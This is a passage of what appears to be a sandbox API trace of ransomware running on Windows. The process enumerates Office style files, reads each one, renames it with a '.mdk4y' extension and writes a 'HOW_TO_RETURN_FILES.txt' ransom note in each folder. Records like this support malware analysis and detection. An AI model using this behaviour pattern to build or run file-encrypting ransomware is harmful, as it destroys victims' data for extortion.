Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_off.gif.mdk4y")) returned 1 [0188.230] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0188.230] AreFileApisANSI () returned 1 [0188.230] GetACP () returned 0x4e4 [0188.230] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0188.230] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0188.230] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826346000000) returned 1 [0188.230] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x401, lpOverlapped=0x0) returned 1 [0188.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826346100000) returned 1 [0188.231] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826346100000) returned 1 [0188.231] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\tab_on.gif.mdk4y")) returned 1 [0188.302] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0188.302] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0188.303] AreFileApisANSI () returned 1 [0188.303] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0188.303] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0188.303] GetFileType (hFile=0x114) returned 0x1 [0188.304] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.304] AreFileApisANSI () returned 1 [0188.304] GetACP () returned 0x4e4 [0188.304] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Oasis.css", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Oasis.csss", lpUsedDefaultChar=0x37de34) returned 9 [0188.304] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.305] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826353500000) returned 1 [0188.310] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xd80, lpOverlapped=0x0) returned 1 [0188.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826358400000) returned 1 [0188.354] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826358400000) returned 1 [0188.355] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Oasis.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\oasis.css.mdk4y")) returned 1 [0188.357] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.357] AreFileApisANSI () returned 1 [0188.357] GetACP () returned 0x4e4 [0188.357] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="OliveGreen.css", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="OliveGreen.csss", lpUsedDefaultChar=0x37de34) returned 14 [0188.358] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.358] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826358800000) returned 1 [0188.358] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x74f, lpOverlapped=0x0) returned 1 [0188.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826366700000) returned 1 [0188.437] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826366700000) returned 1 [0188.437] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\OliveGreen.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\olivegreen.css.mdk4y")) returned 1 [0188.439] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.439] AreFileApisANSI () returned 1 [0188.439] GetACP () returned 0x4e4 [0188.439] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Premium.css", cchWideChar=11, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Premium.csscss", lpUsedDefaultChar=0x37de34) returned 11 [0188.439] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.440] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826367000000) returned 1 [0188.440] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x705, lpOverlapped=0x0) returned 1 [0188.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826377500000) returned 1 [0188.545] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826377500000) returned 1 [0188.546] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Premium.css.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\premium.css.mdk4y")) returned 1 [0188.547] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.547] AreFileApisANSI () returned 1 [0188.547] GetACP () returned 0x4e4 [0188.547] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="RTF_BOLD.GIF", cchWideChar=12, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="RTF_BOLD.GIFss", lpUsedDefaultChar=0x37de34) returned 12 [0188.547] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.548] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826377800000) returned 1 [0188.549] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x366, lpOverlapped=0x0) returned 1 [0188.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826393400000) returned 1 [0188.704] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826393400000) returned 1 [0188.704] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\RTF_BOLD.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_bold.gif.mdk4y")) returned 1 [0188.706] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.706] AreFileApisANSI () returned 1 [0188.706] GetACP () returned 0x4e4 [0188.706] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_choosefont.gif", cchWideChar=18, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="rtf_choosefont.gifc", lpUsedDefaultChar=0x37de34) returned 18 [0188.706] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.707] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826393700000) returned 1 [0188.707] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x37a, lpOverlapped=0x0) returned 1 [0188.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826404000000) returned 1 [0188.810] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826404000000) returned 1 [0188.810] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_choosefont.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_choosefont.gif.mdk4y")) returned 1 [0188.811] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.811] AreFileApisANSI () returned 1 [0188.811] GetACP () returned 0x4e4 [0188.812] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_italic.gif", cchWideChar=14, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="rtf_italic.gif.gif", lpUsedDefaultChar=0x37de34) returned 14 [0188.812] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.813] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826404300000) returned 1 [0188.813] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x354, lpOverlapped=0x0) returned 1 [0188.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826414400000) returned 1 [0188.914] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826414400000) returned 1 [0188.914] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_italic.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_italic.gif.mdk4y")) returned 1 [0188.916] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.916] AreFileApisANSI () returned 1 [0188.916] GetACP () returned 0x4e4 [0188.916] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_spellcheck.gif", cchWideChar=18, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="rtf_spellcheck.gif", lpUsedDefaultChar=0x37de34) returned 18 [0188.916] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.916] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826414600000) returned 1 [0188.916] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0xa0, lpOverlapped=0x0) returned 1 [0188.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826414700000) returned 1 [0188.917] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826414700000) returned 1 [0188.917] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_spellcheck.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_spellcheck.gif.mdk4y")) returned 1 [0188.918] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0188.918] AreFileApisANSI () returned 1 [0188.918] GetACP () returned 0x4e4 [0188.918] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="rtf_underline.gif", cchWideChar=17, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="rtf_underline.giff", lpUsedDefaultChar=0x37de34) returned 17 [0188.918] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0x114 [0188.918] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826414800000) returned 1 [0188.918] ReadFile (in: hFile=0x114, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37de34, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37de34*=0x35c, lpOverlapped=0x0) returned 1 [0189.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826436200000) returned 1 [0189.132] QueryPerformanceCounter (in: lpPerformanceCount=0x37ddcc | out: lpPerformanceCount=0x37ddcc*=1826436200000) returned 1 [0189.132] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\rtf_underline.gif.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\rtf_underline.gif.mdk4y")) returned 1 [0189.135] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.136] AreFileApisANSI () returned 1 [0189.136] GetACP () returned 0x4e4 [0189.136] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slate", cchWideChar=5, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Slatenderline.gif", lpUsedDefaultChar=0x37de34) returned 5 [0189.136] AreFileApisANSI () returned 1 [0189.136] GetACP () returned 0x4e4 [0189.136] MultiByteToWideChar (in: CodePage=0x4e4, dwFlags=0x8, lpMultiByteStr=0x6a98f0, cbMultiByte=79, lpWideCharStr=0x37dbc8, cchWideChar=260 | out: lpWideCharStr="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\j") returned 79 [0189.137] AreFileApisANSI () returned 1 [0189.137] GetACP () returned 0x4e4 [0189.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr=".", cchWideChar=1, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr=".", lpUsedDefaultChar=0x37dda8) returned 1 [0189.137] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.137] AreFileApisANSI () returned 1 [0189.137] GetACP () returned 0x4e4 [0189.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="..", cchWideChar=2, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="..F", lpUsedDefaultChar=0x37dda8) returned 2 [0189.137] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.137] AreFileApisANSI () returned 1 [0189.137] GetACP () returned 0x4e4 [0189.137] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_OFF.GIF", cchWideChar=11, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_OFF.GIF", lpUsedDefaultChar=0x37dda8) returned 11 [0189.137] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.137] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826436700000) returned 1 [0189.138] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x16c, lpOverlapped=0x0) returned 1 [0189.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826436800000) returned 1 [0189.138] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826436800000) returned 1 [0189.138] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_OFF.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_off.gif.mdk4y")) returned 1 [0189.139] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 1 [0189.139] AreFileApisANSI () returned 1 [0189.139] GetACP () returned 0x4e4 [0189.139] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="TAB_ON.GIF", cchWideChar=10, lpMultiByteStr=0x6aad1c, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37dda8 | out: lpMultiByteStr="TAB_ON.GIFF", lpUsedDefaultChar=0x37dda8) returned 10 [0189.139] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x20, hTemplateFile=0x0) returned 0xa0 [0189.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826437000000) returned 1 [0189.140] ReadFile (in: hFile=0xa0, lpBuffer=0x380020, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x37dda8, lpOverlapped=0x0 | out: lpBuffer=0x380020*, lpNumberOfBytesRead=0x37dda8*=0x16c, lpOverlapped=0x0) returned 1 [0189.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826437000000) returned 1 [0189.140] QueryPerformanceCounter (in: lpPerformanceCount=0x37dd40 | out: lpPerformanceCount=0x37dd40*=1826437000000) returned 1 [0189.141] MoveFileA (lpExistingFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif"), lpNewFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\TAB_ON.GIF.mdk4y" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\tab_on.gif.mdk4y")) returned 1 [0189.141] FindNextFileW (in: hFindFile=0x6ab3d0, lpFindFileData=0x6c2b30 | out: lpFindFileData=0x6c2b30) returned 0 [0189.141] FindClose (in: hFindFile=0x6ab3d0 | out: hFindFile=0x6ab3d0) returned 1 [0189.142] AreFileApisANSI () returned 1 [0189.142] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x0, lpMultiByteStr=0x691c88, cbMultiByte=-1, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 103 [0189.142] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate\\HOW_TO_RETURN_FILES.txt" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate\\how_to_return_files.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x3, lpSecurityAttributes=0x37dae0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x114 [0189.173] GetFileType (hFile=0x114) returned 0x1 [0189.178] FindNextFileW (in: hFindFile=0x6ab390, lpFindFileData=0x6c26a8 | out: lpFindFileData=0x6c26a8) returned 1 [0189.178] AreFileApisANSI () returned 1 [0189.178] GetACP () returned 0x4e4 [0189.178] WideCharToMultiByte (in: CodePage=0x4e4, dwFlags=0x0, lpWideCharStr="Slate.css", cchWideChar=9, lpMultiByteStr=0x69fa64, cbMultiByte=260, lpDefaultChar=0x0, lpUsedDefaultChar=0x37de34 | out: lpMultiByteStr="Slate.cssline.gif", lpUsedDefaultChar=0x37de34) returned 9 [0189.178] CreateFileA (lpFileName="C:\\Program Files\\Microsoft Office\\Office14\\1033\\GrooveForms5\\FormsStyles\\Slate.css" (normalized: "c:\\program files\\microsoft office\\office14\\1033\\grooveforms5\\formsstyles\\slate.css"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, 